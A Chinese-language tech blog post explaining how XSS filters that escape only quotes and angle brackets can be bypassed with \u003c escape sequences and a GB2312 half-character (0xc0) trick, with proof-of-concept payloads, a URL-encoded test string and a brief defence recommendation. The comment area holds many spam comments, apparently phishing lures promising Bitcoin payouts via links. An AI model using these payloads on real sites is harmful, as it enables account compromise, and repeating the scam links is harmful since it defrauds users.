小灰博客--小灰IT技术博客 | sky00.com

XSS绕过

大家都知道,普遍的防御XSS攻击的方法是在后台对以下字符进行转义:<、>、’、”,但是经过本人的研究发现,在一些特殊场景下,即使对以上字符进行了转义,还是可以执行XSS攻击的。

首先看一个JS的例子:

1
2
3
4
5
6
7
 <script>

    var s = "u003cu003e";

    alert(s);

 </script>

运行这段代码,结果显示如下:

看到这么熟悉的尖括号,大家会不会有一些兴奋的感觉呢?JS代码中并没有出现尖括号,可是运行时却输出了尖括号!!!这意味着:可以通过u003c和u003e来代替<和>。可是该如何利用这个特性来构造XSS攻击呢?继续看一个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
 <div id='s'>

 test

</div>

 <script>

    var s = "u003cimg src=1 onerror=alert(/xss/)u003e";

    document.getElementById('s').innerHTML = s;

 </script>

运行上面代码,结果显示如下:

在没有尖括号的情况下,成功实现了一个弹框的案例。

现在来设想一个更贴近实际开发情况的例子:
(1)这里我们用网络安全攻防研究室网站首页进行演示:http://www.91ri.org/ main.html,其代码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 <div id="test">

   aa

 </div>

 <script>    

    function callback(obj)    

    {        

       document.getElementById("test").innerHTML = obj.name;    

    }

</script>

 <script src=" http://www.victim.com/getcontent"></script>

(2)http://www.victim.com/getcontent返回的内容格式如下:

callback({“name”:”xx”});

其中name的值是用户的昵称。

这个例子简单模拟了异步拉取信息并进行显示的情况。

现在假设用户的昵称为:

u003cimg src=1 onerror=alert(/xss/)u003e

那么会是什么情况呢?
首先getcontent返回的昵称应该是这样的:

\u003cimg src=1 onerror=alert(/xss/)\u003e

因为后台输出JSON格式数据时,一般都会在前面添加转义符进行转义。
接着main.html的callback函数应该是等价于执行下面的语句:

document.getElementById(“test”).innerHTML =” \u003cimg src=1 onerror=alert(/xss/)\u003e”;

显示的结果如下:

很遗憾,没有弹出框。原因是原来的转义序列u003c并没有生效,被添加的转义符转义掉了。

不过这里假设返回昵称时对进行了转义,但实际情况下,有时输出json格式数据时是没有对进行转义的,那样就会触发漏洞。

对于有对进行转义的,这时就轮到我们强大的半字符出场了。对于半字符的问题,这里并不打算详细讲,说下结论:
对于gb2312编码,” [0xc0] “是一个合法的编码,显示为:”繺”。
对于UTF-8编码,在IE6下,上述组合也是一个合法的编码。
其中[0xc0]表示一个十六进制的值。

现在修改昵称为:

[0xc0]u003cimg src=1 onerror=alert(/xss/) [0xc0]u003e

getcontent输出:

callback({“name”:”[0xc0]\u003cimg src=1 onerror=alert(/xss/) [0xc0]\u003e”});

由于半字符[0xc0]的存在,在解释上述JS代码时,等价于:

callback({“name”:”繺u003cimg src=1 onerror=alert(/xss/) 繺u003e”});

可见,转义序列u003c终于又回来了,显示结果如下:

上述昵称中并没有出现单双引号,尖括号,所以如果后台只是对单双引号和尖括号进行转义,那么是可以被绕过防御的。
总结:

(1) 利用场景:输出内容在JS代码里,并且被动态显示出来(如使用innerHTML)。
(2) 测试方法:截获请求包,修改参数为:

%c0u003cimg+src%3d1+onerror%3dalert(/xss/)+%c0u003e

(3) 防御方法:后台对半字符,反斜杠,单双引号,尖括号进行处理。

编辑点评:关于xss绕过的方式有很多,不少程序员以及小黑都认为过滤了<、>、’、”,就真的安全的,实际来说,只要针对这些字符进行一定的转义,就能成功绕过!


如果该文章帮到了您,不妨帮忙分享支持下博主!
同时也欢迎各位技术爱好者加入IT技术群(点击即可):70035098 互相交流学习!

分享该文章到:

一条评论



发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

分类

最新评论

  • Ticket: Process 1.650130 BTC. Verify >> https://graph.org/Payout-from-Blockchaincom-06-26?hs=9e710a17c6f1893b8975843ad65a53ec&:0lc9pa
  • Email; + 1,927051 BTC. Go to withdrawal =>> https://graph.org/Payout-from-Blockchaincom-06-26?hs=537821b4863fb3bee56d03d62403a81a&:fpsg39
  • Ticket- TRANSACTION 1,331496 BTC. Assure => https://graph.org/Payout-from-Blockchaincom-06-26?hs=01da4417afbeba5c1c96ed80618a98be&:vv3cey
  • + 1.156550 BTC.NEXT - https://graph.org/Payout-from-Blockchaincom-06-26?hs=48af46897a78ce23e02d3d6d91453c82&:70ihvo
  • Email; TRANSACTION 1.839657 BTC. Receive => https://graph.org/Payout-from-Blockchaincom-06-26?hs=d9564a149cf7ebbc725fcfce1bd3d512&:aiwxke
  • + 1.397578 BTC.NEXT - https://graph.org/Payout-from-Blockchaincom-06-26?hs=389fe5cd6483dfc8b55bc3d3e1e86cfb&:uvq55v
  • + 1.504191 BTC.GET - https://yandex.com/poll/enter/E34y9iSdaRJD7QXHZ9jb9R?hs=9e710a17c6f1893b8975843ad65a53ec&:yumyj7
  • Message; Process 1.505974 BTC. GET => https://yandex.com/poll/enter/E34y9iSdaRJD7QXHZ9jb9R?hs=00af77503aab4040b9414644cafc3051&:njhgiw
  • + 1.732287 BTC.GET - https://yandex.com/poll/enter/E34y9iSdaRJD7QXHZ9jb9R?hs=164145d501515772aa4824d0b8561afe&:vn4wwh
  • Message; Operation 1,932226 BTC. Assure =>> https://yandex.com/poll/enter/E34y9iSdaRJD7QXHZ9jb9R?hs=82b659c095cace05cbef312726b6e1d9&:qwt1jk
  • Email; Operation 1,410707 BTC. Withdraw >> https://yandex.com/poll/enter/E34y9iSdaRJD7QXHZ9jb9R?hs=3f08de96112b4bab631df916e9c95f9e&:w1sqli
  • Email; Process 1,93296 bitcoin. GET => https://yandex.com/poll/enter/E34y9iSdaRJD7QXHZ9jb9R?hs=8b618b6f3e2558ea545b01f25c66ea45&:o9143x
  • + 1.39000 BTC.GET - https://yandex.com/poll/enter/E34y9iSdaRJD7QXHZ9jb9R?hs=fb4afab6f1159d6c5305ec67d8a17a48&:5v9ab2
  • + 1.137921 BTC.NEXT - https://yandex.com/poll/DCTzwgNQnzCykVhgbhD581?hs=32fb9425b62f8025c93b1a741cda529c&:didcyq
  • + 1.779120 BTC.GET - https://yandex.com/poll/76RuKke5vYn6W1hp2wxzvb?hs=46cca2220f62b645c465c3659609f169&:4jnm98
  • Ticket: + 1,450330 BTC. Get > https://yandex.com/poll/76RuKke5vYn6W1hp2wxzvb?hs=d2e9f25426f06f324d26af9866fa1537&:girqat
  • + 1.962123 BTC.NEXT - https://yandex.com/poll/5JjqQt7R61CTYdYVd17t6p?hs=55473f62ca80b75d789e64fa58e49760&:7818gc
  • + 1.474092 BTC.GET - https://graph.org/Ticket--58146-05-02?hs=9e710a17c6f1893b8975843ad65a53ec&:3dvnw2
  • + 1.478940 BTC.NEXT - https://graph.org/Ticket--58146-05-02?hs=111a7c8b116abe352c74949c481b3c7f&:c7t0pv
  • + 1.414945 BTC.NEXT - https://graph.org/Ticket--58146-05-02?hs=189b84788c5e6405c53f7dd1193b9874&:umgly6